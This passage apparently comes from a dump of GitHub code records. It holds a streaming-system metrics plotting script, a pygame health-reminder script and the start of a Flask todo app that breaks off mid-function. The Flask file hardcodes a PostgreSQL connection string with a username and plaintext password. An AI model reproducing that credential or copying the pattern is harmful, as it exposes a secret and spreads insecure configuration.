f\"{operator}__{data.columns[rate+1]}_TrueProc\",\n                    data.columns[rate + 1],\n                    \"true_processing_rate\",\n                    uniqueRates,\n                    meanTrueProc,\n                )\n                self.plot_graph(\n                    f\"{operator}__{data.columns[rate+1]}_ObservedOutput\",\n                    data.columns[rate + 1],\n                    \"observed_output_rate\",\n                    uniqueRates,\n                    meanObservedOut,\n                )\n                self.plot_graph(\n                    f\"{operator}__{data.columns[rate+1]}_ObservedProc\",\n                    data.columns[rate + 1],\n                    \"observed_processing_rate\",\n                    uniqueRates,\n                    meanObservedProc,\n                )\n\n    def analyzeParallelization(self, equalParallelizationOperators=False):\n        data = self.data\n        uniqueOperators = data[\"operator\"].unique()\n        numberOfOperators = (len(data.columns) - len(self.mainHeader) -\n                             self.ratesPerQuery[self.queryName])\n\n        for operator in uniqueOperators:\n            operatorDF = data[data[\"operator\"] == operator]\n            print(\"SELECTED operator:\" + operator)\n            parallelOperators = [i for i in range(1, numberOfOperators + 1)]\n            # queries generated with the same parallelization values for all operators\n            uniqueParallelizationArray = operatorDF.iloc[:, self.ratesPerQuery[\n                self.queryName] + parallelOperators[0]].unique()\n            print(uniqueParallelizationArray)\n\n            for parallelColumn in parallelOperators:\n                meanTrueProc = [[]\n                                for i in range(len(uniqueParallelizationArray))\n                                ]\n                meanTrueOut = [[]\n                               for i in range(len(uniqueParallelizationArray))]\n                meanObservedOut = [\n                    [] for i in range(len(uniqueParallelizationArray))\n                ]\n                meanObservedProc = [\n                    [] for i in range(len(uniqueParallelizationArray))\n                ]\n                uniqueRatesList = [\n                    [] for i in range(len(uniqueParallelizationArray))\n                ]\n                for parallelIndex, parallelizationValue in enumerate(\n                        uniqueParallelizationArray):\n                    parallelOperatorName = operatorDF.columns[\n                        self.ratesPerQuery[self.queryName] + parallelColumn]\n                    df = None\n                    if equalParallelizationOperators:\n                        for parallelColumn in parallelOperators:\n                            parallelOperatorName = operatorDF.columns[\n                                self.ratesPerQuery[self.queryName] +\n                                parallelColumn]\n                            print(\"OPE_PARAL\" + str(parallelColumn) + \" :\" +\n                                  parallelOperatorName + \"==\" +\n                                  str(parallelizationValue))\n                            df = operatorDF[\n                                operatorDF.\n                                iloc[:, self.ratesPerQuery[self.queryName] +\n                                     parallelColumn] == parallelizationValue]\n                    else:\n                        # Incrementing only one operator at a time and keep the rest equal to 1\n                        print(\"OPE_PARAL:\" + parallelOperatorName + \"==\" +\n                              str(parallelizationValue))\n                        df = operatorDF[\n                            operatorDF.\n                            iloc[:, self.ratesPerQuery[self.queryName] +\n                                 parallelColumn] == parallelizationValue]\n                    rateName = \"\"\n                    if not df:\n                        continue\n                    for rate in range(1,\n                                      self.ratesPerQuery[self.queryName] + 1):\n                        rateName = df.columns[rate]\n                        print(\"SELECTED RATE:\" + rateName)\n                        uniqueRates = df.iloc[:, rate].unique()\n                        uniqueRates = np.sort(uniqueRates)\n                        if len(uniqueRates) == 0:\n                            print(f\"{operator}::  {rateName} NO VALUES?\")\n                        uniqueRatesList[parallelIndex].extend(\n                            uniqueRates.tolist())\n                        for i, rateValue in enumerate(uniqueRates):\n                            meanDF = df[df.iloc[:, rate] == rateValue]\n                            secondRate = meanDF.iloc[:, rate +\n                                                     1 if rate == 1 else rate -\n                                                     1].unique()\n                            if self.ratesPerQuery[self.queryName] > 1:\n                                equalToSecondRate = self.queryArg[\n                                    self.queryName][list(\n                                        self.queryArg[self.queryName])\n                                                    [rate if rate == 1 else 0]]\n                                meanDF = meanDF[\n                                    meanDF.iloc[:, rate +\n                                                1 if rate == 1 else rate -\n                                                1] == equalToSecondRate]\n                                cn = meanDF.columns[rate +\n                                                    1 if rate == 1 else rate -\n                                                    1]\n                                uniqueSRate = meanDF.iloc[:,\n                                                          rate + 1 if rate ==\n                                                          1 else rate -\n                                                          1].unique()\n                            print(\n                                f\"{operator}:: {parallelOperatorName}=={parallelizationValue} && {rateName} == {rateValue} {equalToSecondRate} == {cn} || {uniqueSRate}\"\n                            )\n\n                            # print(meanDF.iloc[:, rate +1 if rate == 1 else rate -1].unique()[:10])\n                            # print(meanDF.head(20))\n                            # print(meanDF)\n                            # print()\n                            # if self.ratesPerQuery[self.queryName] > 1:\n                            # if len(meanDF.iloc[:, rate if rate == uniqueRates[-1] else rate + 2].unique()) > 1:\n                            #     uniqueRates = np.delete(uniqueRates, i)\n                            # continue\n                            meanDFtrueProc = meanDF[\n                                \"true_processing_rate\"].mean()\n                            meanDFtrueOut = meanDF[\"true_output_rate\"].mean()\n                            meanDFobservedOut = meanDF[\n                                \"observed_output_rate\"].mean()\n                            meanDFobservedProc = meanDF[\n                                \"observed_processing_rate\"].mean()\n                            meanTrueOut[parallelIndex].append(meanDFtrueOut)\n                            meanTrueProc[parallelIndex].append(meanDFtrueProc)\n                            meanObservedOut[parallelIndex].append(\n                                meanDFobservedOut)\n                            meanObservedProc[parallelIndex].append(\n                                meanDFobservedProc)\n                    if equalParallelizationOperators:\n                        parallelOperatorName = \"\"\n                    else:\n                        parallelOperatorName = parallelOperatorName[:6]\n                    rateName = rateName[:8]\n                    operator = operator[:8]\n                    self.multiple_lines_plot(\n                        f\"{operator}__{rateName}_{parallelOperatorName}_TrueOutput\",\n                        rateName,\n                        \"MeanTrueOutput\",\n                        uniqueRatesList,\n                        meanTrueOut,\n                    )\n                    self.multiple_lines_plot(\n                        f\"{operator}__{rateName}_{parallelOperatorName}_TrueProc\",\n                        rateName,\n                        \"MeanTrueProcessing\",\n                        uniqueRatesList,\n                        meanTrueProc,\n                    )\n                    self.multiple_lines_plot(\n                        f\"{operator}__{rateName}_{parallelOperatorName}_ObservedOutput\",\n                        rateName,\n                        \"MeanObservedOutput\",\n                        uniqueRatesList,\n                        meanObservedOut,\n                    )\n                    self.multiple_lines_plot(\n                        f\"{operator}__{rateName}_{parallelOperatorName}_ObservedProc\",\n                        rateName,\n                        \"MeanObservedProcessing\",\n                        uniqueRatesList,\n                        meanObservedProc,\n                    )\n                # All parallelizationOperators are equal so do not loop through again\n                if equalParallelizationOperators:\n                    break\n\n    def analyzeDistributionEqual(self):\n        print(\"EQUAL DISTRIBUTION\")\n        data = self.data\n        uniqueOperators = data[\"operator\"].unique()\n        numberOfOperators = (len(data.columns) - len(self.mainHeader) -\n                             self.ratesPerQuery[self.queryName])\n\n        for operator in uniqueOperators:\n            print(\"SELECTED operator:\" + operator)\n            operatorDF = data[data[\"operator\"] == operator]\n\n            parallelOperators = [i for i in range(1, numberOfOperators + 1)]\n            for parallelColumn in parallelOperators:\n                uniqueParallelizationArray = \\\n                    operatorDF.iloc[:, self.ratesPerQuery[self.queryName] +parallelOperators[0]].unique()\n                uniqueTrueProc = [\n                    [] for i in range(len(uniqueParallelizationArray))\n                ]\n                uniqueTrueOut = [\n                    [] for i in range(len(uniqueParallelizationArray))\n                ]\n                uniqueObservedOut = [\n                    [] for i in range(len(uniqueParallelizationArray))\n                ]\n                uniqueObservedProc = [\n                    [] for i in range(len(uniqueParallelizationArray))\n                ]\n                for parallelIndex, parallelizationValue in enumerate(\n                        uniqueParallelizationArray):\n                    parallelOperatorName = operatorDF.columns[\n                        self.ratesPerQuery[self.queryName] + parallelColumn]\n                    df = None\n                    # assign the selected parallelism value to all operators\n                    for parallelColumn in parallelOperators:\n                        parallelOperatorName = operatorDF.columns[\n                            self.ratesPerQuery[self.queryName] +\n                            parallelColumn]\n                        print(\"PARALLELISM:: \" + str(parallelColumn) + \" :\" +\n                              parallelOperatorName + \"==\" +\n                              str(parallelizationValue))\n                        df = operatorDF[\n                            operatorDF.\n                            iloc[:, self.ratesPerQuery[self.queryName] +\n                                 parallelColumn] == parallelizationValue]\n\n                    rateName = \"\"\n                    print(len(df))\n                    for primaryRate in range(\n                            1, self.ratesPerQuery[self.queryName] + 1):\n                        rateName = df.columns[primaryRate]\n                        print(\"SELECTED RATE:\" + rateName)\n\n                        uniqueRates = df.iloc[:, primaryRate].unique()\n                        uniqueRates = np.sort(uniqueRates)\n\n                        # NOTE:\n                        if len(uniqueRates) == 0:\n                            print(f\"{operator}::  {rateName} NO VALUES?\")\n\n                        # uniqueRates = [\n                        #     uniqueRates[index]\n                        #     for index in range(len(uniqueRates))\n                        #     if index % 2 != 0\n                        # ]\n\n                        for i, rateValue in enumerate(uniqueRates):\n                            meanDF = df[df.iloc[:, primaryRate] == rateValue]\n                            # secondRate = meanDF.iloc[:, primaryRate +\n                            #                          1 if primaryRate == 1 else primaryRate -\n                            #                          1].unique()\n\n                            # Reduce noise - Select the default values for the rest rates\n                            for secondaryRate in range(\n                                    1, self.ratesPerQuery[self.queryName] + 1):\n                                if secondaryRate == primaryRate:\n                                    continue\n                                keys = list(\n                                    self.queryArg[self.queryName].keys())\n                                print(\"Secondrate selected :\" +\n                                      keys[secondaryRate - 1] + \"==\" +\n                                      str(self.queryArg[self.queryName][keys[\n                                          secondaryRate - 1]]) + \" len of df\" +\n                                      str(len(meanDF)))\n                                meanDF = meanDF[meanDF.iloc[:,\n                                                            secondaryRate] ==\n                                                self.queryArg[self.queryName][\n                                                    keys[secondaryRate - 1]]]\n                                print(len(meanDF))\n\n                            parallelOperatorName = \"Parallelism\"\n                            rateName = rateName[:8]\n                            operator = operator[:8]\n                            uniqueDFtrueProc = meanDF[\n                                \"true_processing_rate\"].unique()\n                            uniqueDFtrueOut = meanDF[\n                                \"true_output_rate\"].unique()\n                            uniqueDFobservedOut = meanDF[\n                                \"observed_output_rate\"].unique()\n                            uniqueDFobservedProc = meanDF[\n                                \"observed_processing_rate\"].unique()\n                            #print(uniqueDFobservedProc)\n                            uniqueTrueOut[parallelIndex].extend(\n                                uniqueDFtrueOut)\n                            uniqueTrueProc[parallelIndex].extend(\n                                uniqueDFtrueProc)\n                            uniqueObservedOut[parallelIndex].extend(\n                                uniqueDFobservedOut)\n                            uniqueObservedProc[parallelIndex].extend(\n                                uniqueDFobservedProc)\n\n                    legend = [\n                        \"v=\" + str(i) for i in uniqueParallelizationArray\n                    ]\n\n                    self.plot_scatter_ecdf(\n                        uniqueTrueOut,\n                        \"TrueOutput\",\n                        f\"{operator}__{rateName}_{parallelOperatorName}={parallelizationValue}_MeanTrueOutput\",\n                        legend=legend)\n                    self.plot_scatter_ecdf(\n                        uniqueTrueProc,\n                        \"TrueProcessing\",\n                        f\"{operator}__{rateName}_{parallelOperatorName}={parallelizationValue}_TrueProcessing\",\n                        legend=legend)\n                    self.plot_scatter_ecdf(\n                        uniqueObservedOut,\n                        \"ObservedOutput\",\n                        f\"{operator}__{rateName}_{parallelOperatorName}={parallelizationValue}_ObservedOutput\",\n                        legend=legend)\n                    self.plot_scatter_ecdf(\n                        uniqueObservedProc,\n                        \"ObservedProcessing\",\n                        f\"{operator}__{rateName}_{parallelOperatorName}={parallelizationValue}_ObservedProcessing\",\n                        legend=legend)\n                break\n    \"\"\"\n\n    def analyzeDistribution(self, equalParallelizationOperators=False):\n        data = self.data\n        uniqueOperators = data[\"operator\"].unique()\n        numberOfOperators = (len(settings.QUERY_ARGS[self.queryName]) -\n                             self.ratesPerQuery[self.queryName])\n        #print(data.head(5))\n        #print(numberOfOperators)\n\n        for operator in uniqueOperators:\n            print(\"SELECTED operator:\" + operator)\n            operatorDF = data[data[\"operator\"] == operator]\n            columnsBeforeInput = 2  # operator + id = 2\n            parallelOperators = [\n                i for i in range(columnsBeforeInput, columnsBeforeInput +\n                                 numberOfOperators)\n            ]\n            print(parallelOperators)\n            # Select all operators\n            for parallelColumn in parallelOperators:\n                uniqueParallelizationArray = \\\n                    operatorDF.iloc[:,self.ratesPerQuery[self.queryName] + parallelColumn].unique()\n                print(\n                    f'{operatorDF.columns[parallelColumn+self.ratesPerQuery[self.queryName]]} == {uniqueParallelizationArray}'\n                )\n                for parallelIndex, parallelizationValue in enumerate(\n                        uniqueParallelizationArray):\n                    parallelOperatorName = operatorDF.columns[\n                        self.ratesPerQuery[self.queryName] + parallelColumn]\n                    df = None\n\n                    # Incrementing only one operator at a time and keep the rest equal to 1\n                    print(\"PARALLELISM:: \" + parallelOperatorName + \"==\" +\n                          str(parallelizationValue))\n\n                    df = operatorDF[\n                        operatorDF.iloc[:, self.ratesPerQuery[self.queryName] +\n                                        parallelColumn] ==\n                        parallelizationValue]\n                    # for parallelColumn2 in parallelOperators:\n                    #     if parallelColumn2 == parallelColumn:\n                    #         continue\n                    #     parallelOperatorName = operatorDF.columns[\n                    #         self.ratesPerQuery[self.queryName] +\n                    #         parallelColumn2]\n                    #     print(\"PARALLELISM:: \" + str(parallelColumn2) + \" :\" +\n                    #           parallelOperatorName + \"== 1\")\n                    #     df = df[df.iloc[:, self.ratesPerQuery[self.queryName] +\n                    #                     parallelColumn2] == 1]\n\n                    rateName = \"\"\n\n                    for primaryRate in range(\n                            columnsBeforeInput, columnsBeforeInput +\n                            self.ratesPerQuery[self.queryName]):\n                        rateName = df.columns[primaryRate]\n                        print(\"SELECTED RATE:\" + rateName)\n\n                        uniqueRates = data.iloc[:, primaryRate].unique()\n\n                        uniqueRates = sorted(uniqueRates)\n\n                        if len(uniqueRates) == 0:\n                            print(f\"{operator}::  {rateName} NO VALUES?\")\n                        # uniqueRates = [\n                        #     self.queryArg[self.queryName][list(self.queryArg[\n                        #         self.queryName].keys())[primaryRate - 1]] * i\n                        #     for i in range(1, 11)\n                        # ]\n                        print()\n                        print(uniqueRates)\n                        print()\n\n                        uniqueTrueProc = [[] for i in range(len(uniqueRates))]\n                        uniqueTrueOut = [[] for i in range(len(uniqueRates))]\n                        uniqueObservedOut = [[]\n                                             for i in range(len(uniqueRates))]\n                        uniqueObservedProc = [[]\n                                              for i in range(len(uniqueRates))]\n\n                        for i, rateValue in enumerate(uniqueRates):\n                            meanDF = df[df.iloc[:, primaryRate] == rateValue]\n                            if meanDF[\"total_op_instances\"].unique()[0] > 1.0:\n                                print(\"Aggregated from: \" + str(len(meanDF)))\n                                meanDF = self.aggregate_func(\n                                    meanDF,\n                                    meanDF[\"total_op_instances\"].unique()[0])\n                                print(\n                                    \"Len : \" + str(len(meanDF)) + \" \" +\n                                    str(meanDF[\"total_op_instances\"].unique()))\n                            # secondRate = meanDF.iloc[:, primaryRate +\n                            #                          1 if primaryRate == 1 else primaryRate -\n                            #                          1].unique()\n\n                            # Reduce noise - Select the default values for the rest rates\n                            # for secondaryRate in range(\n                            #         1, self.ratesPerQuery[self.queryName] + 1):\n                            #     if secondaryRate == primaryRate:\n                            #         continue\n                            #     keys = list(\n                            #         self.queryArg[self.queryName].keys())\n                            #     print(\"Secondrate selected :\" +\n                            #           keys[secondaryRate - 1] + \"==\" +\n                            #           str(self.queryArg[self.queryName][keys[\n                            #               secondaryRate - 1]]) +\n                            #           \" len of df: \" + str(len(meanDF)))\n                            #     meanDF = meanDF[meanDF.iloc[:,\n                            #                                 secondaryRate] ==\n                            #                     self.queryArg[self.queryName][\n                            #                         keys[secondaryRate - 1]]]\n\n                            parallelOperatorName = parallelOperatorName[:6]\n                            rateName = rateName[:10]\n                            operator = operator[:8] + \"OP\"\n                            uniqueDFtrueProc = meanDF[\"true_proc_rate\"].tolist(\n                            )\n                            uniqueDFtrueOut = meanDF[\n                                \"true_output_rate\"].tolist()\n                            uniqueDFobservedOut = meanDF[\n                                \"observed_output_rate\"].tolist()\n                            uniqueDFobservedProc = meanDF[\n                                \"observed_proc_rate\"].tolist()\n\n                            uniqueTrueOut[i].extend(uniqueDFtrueOut)\n                            uniqueTrueProc[i].extend(uniqueDFtrueProc)\n                            uniqueObservedOut[i].extend(uniqueDFobservedOut)\n                            uniqueObservedProc[i].extend(uniqueDFobservedProc)\n\n                        legend = [\"v=\" + str(i) for i in uniqueRates]\n                        self.plot_scatter_ecdf(\n                            uniqueTrueOut,\n                            \"TrueOutput [rec/ut]\",\n                            f\"{operator}__{rateName}_{parallelOperatorName}={parallelizationValue}_TrueOutput\",\n                            legend=legend)\n                        self.plot_scatter_ecdf(\n                            uniqueTrueProc,\n                            \"TrueProcessing [rec/ut]\",\n                            f\"{operator}__{rateName}_{parallelOperatorName}={parallelizationValue}_TrueProcessing\",\n                            legend=legend)\n                        self.plot_scatter_ecdf(\n                            uniqueObservedOut,\n                            \"ObservedOutput [rec/ot]\",\n                            f\"{operator}__{rateName}_{parallelOperatorName}={parallelizationValue}_ObservedOutput\",\n                            legend=legend)\n                        self.plot_scatter_ecdf(\n                            uniqueObservedProc,\n                            \"ObservedProcessing [rec/ot]\",\n                            f\"{operator}__{rateName}_{parallelOperatorName}={parallelizationValue}_ObservedProcessing\",\n                            legend=legend)\n                # All parallelizationOperators are equal so do not loop through again\n                if equalParallelizationOperators:\n                    break\n    def analyzeDistributionParallelism(self):\n        print(\"EQUAL PARALLELISM DISTRIBUTION\")\n        data = self.data\n        uniqueOperators = data[\"operator\"].unique()\n        numberOfOperators = (len(settings.QUERY_ARGS[self.queryName]) -\n                             self.ratesPerQuery[self.queryName])\n\n        for operator in uniqueOperators:\n            print(\"SELECTED operator:\" + operator)\n            operatorDF = data[data[\"operator\"] == operator]\n\n            columnsBeforeInput = 2  # operator + id = 2\n            parallelOperators = [\n                i for i in range(columnsBeforeInput, columnsBeforeInput +\n                                 numberOfOperators)\n            ]\n            uniqueParallelizationArray = \\\n                operatorDF.iloc[:, self.ratesPerQuery[self.queryName] +parallelOperators[0]].unique()\n            uniqueTrueProc = [[]\n                              for i in range(len(uniqueParallelizationArray))]\n            uniqueTrueOut = [[]\n                             for i in range(len(uniqueParallelizationArray))]\n            uniqueObservedOut = [\n                [] for i in range(len(uniqueParallelizationArray))\n            ]\n            uniqueObservedProc = [\n                [] for i in range(len(uniqueParallelizationArray))\n            ]\n            for parallelIndex, parallelValue in enumerate(\n                    uniqueParallelizationArray):\n                df = operatorDF[\n                    operatorDF.iloc[:, self.ratesPerQuery[self.queryName] +\n                                    parallelOperators[0]] == parallelValue]\n\n                for no in range(1, len(parallelOperators)):\n                    df = df[df.iloc[:, self.ratesPerQuery[self.queryName] +\n                                    parallelOperators[no]] == parallelValue]\n                    parName1 = data.columns[self.ratesPerQuery[self.queryName]\n                                            + parallelOperators[no]]\n                    print(f'{parName1}#{no} == {parallelValue}')\n\n                parName = data.columns[self.ratesPerQuery[self.queryName] +\n                                       parallelOperators[0]]\n                print(f'{parName} == {parallelValue}')\n                dfNew = None\n                dfNew = self.aggregate_func(df, parallelValue)\n                print(\"total instances \" +\n                      str(dfNew[\"total_op_instances\"].unique()))\n                #operator = operator[:8]\n                uniqueDFtrueOut = None\n                uniqueDFtrueProc = None\n                uniqueDFobservedOut = None\n                uniqueDFobservedProc = None\n                \n                uniqueDFtrueProc = dfNew[\"true_proc_rate\"].tolist()\n                uniqueDFtrueOut = dfNew[\"true_output_rate\"].tolist()\n                uniqueDFobservedOut = dfNew[\"observed_output_rate\"].tolist()\n                uniqueDFobservedProc = dfNew[\"observed_proc_rate\"].tolist()\n                for i, v in enumerate(uniqueDFtrueOut):\n                    if v > 1.5 * 10**7:\n                        uniqueDFtrueOut.pop(i)\n                uniqueTrueOut[parallelIndex].extend(uniqueDFtrueOut)\n                uniqueTrueProc[parallelIndex].extend(uniqueDFtrueProc)\n                uniqueObservedOut[parallelIndex].extend(uniqueDFobservedOut)\n                uniqueObservedProc[parallelIndex].extend(uniqueDFobservedProc)\n                uniqueDFtrueOut = None\n                uniqueDFtrueProc = None\n                uniqueDFobservedOut = None\n                uniqueDFobservedProc = None\n                print()\n\n            parallelOperatorName = \"Parallelism\"\n            legend = [\"v=\" + str(i) for i in uniqueParallelizationArray]\n\n            self.plot_scatter_ecdf(uniqueTrueOut,\n                                   \"TrueOutput [rec/ut]\",\n                                   f\"{operator}_TrueOutput\",\n                                   legend=legend,\n                                   path=\"parallelism\")\n            self.plot_scatter_ecdf(uniqueTrueProc,\n                                   \"TrueProcessing [rec/ut]\",\n                                   f\"{operator}_TrueProcessing\",\n                                   legend=legend,\n                                   path=\"parallelism\")\n            self.plot_scatter_ecdf(uniqueObservedOut,\n                                   \"ObservedOutput [rec/ot]\",\n                                   f\"{operator}_ObservedOutput\",\n                                   legend=legend,\n                                   path=\"parallelism\")\n            self.plot_scatter_ecdf(uniqueObservedProc,\n                                   \"ObservedProcessing [rec/ot]\",\n                                   f\"{operator}_ObservedProcessing\",\n                                   legend=legend,\n                                   path=\"parallelism\")\n\n    def plot_graph(self,\n                   title,\n                   x_axis,\n                   y_axis,\n                   x: List[int],\n                   y: List[int],\n                   save=True):\n        \"\"\"\n        Plot a graph based on x,y arrays\n        Store result in PLOT_DIR\n        \"\"\"\n        if sum(x) == 0 or sum(y) == 0 or len(x) < 3 or len(y) < 3:\n            print(title + str(x) + str(y))\n            return None\n        plt.clf()\n        fig, ax = plt.subplots()\n\n        plt.plot(x, y)\n\n        plt.xlabel(x_axis)\n        plt.ylabel(y_axis)\n\n        plt.title(title)\n        plt.tight_layout()\n        if save == True:\n            path = settings.PLOT_DIR + self.queryName + \"_rate/\"\n            self.check_path(path)\n            plt.savefig(path + self.checkStr(title) + \".png\")\n        else:\n            plt.show()\n        plt.close(fig)\n\n    def multiple_lines_plot(self,\n                            title,\n                            x_axis,\n                            y_axis,\n                            x: List[List[int]],\n                            y: List[List[int]],\n                            save=True):\n        \"\"\"\n        Plot a graph based on x,y List of lists\n        Each line represented by x-y sublists are on the same plot.\n        Store result in PLOT_DIR\n        \"\"\"\n        fig, ax = plt.subplots()\n\n        if len(x) != len(y):\n            print(\"x and y must be same length\")\n            return\n        for n in range(len(x)):\n            if sum(x[n]) == 0 or sum(y[n]) == 0:\n                return\n            plt.plot(x[n], y[n])\n\n        plt.xlabel(x_axis)\n        plt.ylabel(y_axis)\n        plt.legend([\"Value = 1\", \"V = 2\", \"V = 3\"], loc=\"lower right\")\n        plt.title(title)\n        plt.tight_layout()\n        if save == True:\n            path = settings.PLOT_DIR + self.queryName + \"/\" + self.CSV_SPECIFIER + \"/\"\n            self.check_path(path)\n            plt.savefig(path + self.checkStr(title) + \".png\")\n        else:\n            plt.show()\n        plt.close()\n\n    def plot_scatter_ecdf(\n            self,\n            data,\n            xlabel,\n            title,\n            legend=[\"Parallelism = 1\", \"P = 2\", \"P = 3\", \"P = 4\"],\n            scatter_size=5,\n            multiple=True,\n            path=\"\"):\n        def ecdf(data):\n            \"\"\" Compute ECDF \"\"\"\n            #print(type(data))\n            x, n = None, 0\n            if isinstance(data, list):\n                #print(data)\n                x = sorted(data)\n                n = len(x)\n                if sum(x) == 0 or n < 5:\n                    return None, None\n            elif isinstance(data, np.ndarray):\n                x = np.sort(data)\n                n = x.size\n                if np.sum(x) == 0 or n < 5:\n                    return None, None\n            else:\n                print(data)\n                print(type(data))\n                print(\"NOT NUMPY\")\n                return None, None\n            y = np.arange(1, n + 1) / n\n            return (x, y)\n\n        if multiple:\n            for subplotX in data:\n                xsub, ysub = ecdf(subplotX)\n                if xsub is not None and ysub is not None:\n                    plt.scatter(x=xsub, y=ysub, s=scatter_size)\n                else:\n                    print(self.checkStr(title) + \" is EMPTY\")\n                    return\n        else:\n            x, y = ecdf(data)\n            if x is not None and y is not None:\n                print(x, y)\n                plt.scatter(x=x, y=y, s=scatter_size)\n            else:\n                return\n        # if path != \"\":\n        #     path = \"_\" + path\n        plt.xlabel(xlabel)\n        plt.ylabel(\"Percentage (%)\")\n        plt.legend(legend, loc=\"lower right\")\n        plt.title(title)\n        plt.tight_layout()\n        path = settings.PLOT_DIR + self.queryName + \"/\" + self.CSV_SPECIFIER + \"/scatter\" + path + \"/\"\n        self.check_path(path)\n        plt.savefig(path + self.checkStr(title) + \".png\")\n        plt.close()\n\n    def checkStr(self, title: str) -> str:\n        \"\"\" Removes any non alphanumerical character from input string.\"\"\"\n        return re.sub(r\"\\W+\", \"\", title)\n\n    def check_path(self, path):\n        \"\"\" Checks if given path is valid otherwise create it\"\"\"\n        if not os.path.exists(path):\n            os.makedirs(path)\n\n\ndef csv_unifier():\n    \"\"\"Takes _metrics.csv and _equalmetrics.csv and combines them to one\"\"\"\n    valid_query_names = settings.VALID_QUERIES_NAMES\n    PATH = settings.PATH\n    specifiers = settings.VALID_CSV_SPECIFIERS\n    for query in valid_query_names:\n        for speficier in specifiers:\n            filepath = PATH + query + \"_\" + speficier + \".csv\"\n            if os.path.exists(filepath):\n                print('reading ' + filepath)\n                fin = open(filepath, \"r\")\n                dataRead = fin.read()\n                fin.close()\n                fout = open(PATH + query + \"_all.csv\", 'a+')\n                fout.write(dataRead)\n                fout.close()\n            else:\n                print(filepath + \" not found\")\n\n\nif __name__ == \"__main__\":\n    args = sys.argv\n    if len(args) == 1:\n        print(\"No arguments at \" + args[0] + \" exiting...\")\n        exit(-1)\n\n    valid_query_names = settings.VALID_QUERIES_NAMES\n\n    if args[1] == 'combine':\n        csv_unifier()\n        exit(1)\n\n    if args[1] in valid_query_names or args[1] == \"all\":\n            Analyzer(queryName=args[1],\n                     specifier=args[2] if len(args) >= 3 else \"\",\n                     action=args[3] if len(args) == 4 else None)\n    else:\n        print(\"Argument [\" + args[1] + \"] is invalid. Exiting \" + args[0])\n","repo_name":"alex-rantos/StreamingSystemsEvaluation","sub_path":"src/analyzer.py","file_name":"analyzer.py","file_ext":"py","file_size_in_byte":44780,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"10467321473","text":"\"\"\"excersice 7\n    Healthy Programmer\"\"\"\n\n\n\"\"\"\n        9 to 5 pm\n        concept\n        water -water.mp3  (3.5 litres) - Drank - log- Every 40min\n        \n        Eyes - eyes.mp3     (30 minutes) - ex-done-log- Every 30 min\n        physical activity - physical.mp3  every 45 minutes - ex-don - log \n        rules\n        pygame module to play audio\"\"\"\n\n\nfrom pygame import mixer\nfrom datetime import datetime\nfrom time import time\n\ndef musiconloop(file, stopper):\n    mixer.init()\n    mixer.music.load(file)\n    mixer.music.play()\n    while True:\n        a = input()\n        if a == stopper:\n            mixer.music.stop()\n            break\ndef log_now(msg):\n    with open(\"mylogs.txt\", \"a\") as f:\n      f.write(f\"{msg} {datetime.now()}\\n\")\n\nif __name__ == '__main__':\n      init_water = time()\n      init_eyes = time()\n      init_exercise = time()\n      watersecs = 40*60\n      exsecs = 45*60\n      eyesecs = 30*60\n\n      while True:\n         if time() - init_water > watersecs:\n                print(\"water Drinking time, Enter 'drank' to stop the alarm.\")\n                musiconloop('water.mp3', 'drank')\n                init_water = time()\n                log_now(\"Drank water at\")\n         if time() - init_eyes > eyesecs:\n                print(\"eye exercise time, Enter 'doneeyes' to stop the alarm.\")\n                musiconloop('eye.mp3', 'doneeyes')\n                init_eyes = time()\n                log_now(\"Eyes Relaxed at\")\n         if time() - init_exercise > exsecs:\n                print(\"Physical Activity time, Enter 'donephy' to stop the alarm.\")\n                musiconloop('physical.mp3', 'donephy')\n                init_exercise = time()\n                log_now(\"physical activity done at\")\n\"\"\"\n# time - init > exercise\"\"\"\n\n\"\"\" it means time is time now means live time\n    intin time means when last he do activity that time \n    means last when you water drink that is your init time\n    is greater then the time limit then its run these is main operation in these\"\"\"\n\n\n\n","repo_name":"bhatt-nisarg/PycharmProjects","sub_path":"pythontus/mp3sounds/ex7Healthyprogrammer.py","file_name":"ex7Healthyprogrammer.py","file_ext":"py","file_size_in_byte":1997,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"31138739457","text":"from flask import Flask, render_template, request, redirect, url_for, jsonify, abort\r\nfrom flask_sqlalchemy import SQLAlchemy\r\nfrom sqlalchemy import func\r\nfrom flask_migrate import Migrate\r\nimport sys\r\n\r\napp = Flask(__name__)\r\n\r\napp.config['SQLALCHEMY_DATABASE_URI'] = 'postgresql://sh_ubuntu:93water94@localhost:5432/todoapp_new'\r\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\r\n\r\n# expire_on_commit is set to true by default, such that all instances will expire after each commit\r\n# if needed, we can set session_options={\"expire_on_commit\":False} but that can have unintended side effects\r\n# e.g. db = SQLAlchemy(app, session_options={\"expire_on_commit\":False})\r\ndb = SQLAlchemy(app)\r\n\r\nmigrate = Migrate(app, db) # create an instance of the Migrate class to link to command line scripts\r\n\r\nclass ToDo(db.Model):\r\n    __tablename__='newww_todo'\r\n    id = db.Column(db.Integer,primary_key=True)\r\n    title = db.Column(db.String(),nullable=False)\r\n    description = db.Column(db.String(),nullable=True)\r\n    completed = db.Column(db.Boolean, nullable=False, default=False)\r\n    deadline = db.Column(db.DateTime,nullable=True)\r\n    list_id = db.Column(db.Integer, db.ForeignKey('todolists.id'), nullable=False)\r\n\r\n    def __repr__(self):\r\n        return f'<To Do List {self.id}: {self.name}>'\r\n\r\nclass ToDoList(db.Model):\r\n    __tablename__ ='todolists'\r\n    id = db.Column(db.Integer,primary_key=True)\r\n    name = db.Column(db.String(), nullable=False)\r\n    description = db.Column(db.String(), nullable=True)\r\n    todos = db.relationship('ToDo', backref='list', lazy=True, cascade = 'all, delete-orphan') # lazy=True by default\r\n\r\n    def __repr__(self):\r\n        return f'<To Do Item {self.id}: {self.title} by {self.deadline}>'\r\n\r\n# db.create_all()\r\n\r\n#todo = ToDo(title='Finish Lesson 5')\r\n#todo2 = ToDo(title='Complete first project')\r\n#todo3 = ToDo(title='Sleep')\r\n#db.session.add_all([todo,todo2,todo3])\r\n    \r\n#db.session.commit()\r\n\r\n# define what template to show to users when users visit the homepage\r\n# by default, flask looks for your templates in the templates folder\r\n\r\n### method 1 of data input : synchronous request from form input\r\n### in this case the form in index.html will have action and methods defined\r\n### and server will handle it using the below function when request is received\r\n\r\n# @app.route('/create-todo',methods=['POST'])\r\n#def create_sync():\r\n#    todo_title=request.form.get('title')\r\n#    todo_desc=request.form.get('description')\r\n#    new_todo=ToDo(title=todo_title,description=todo_desc)\r\n# 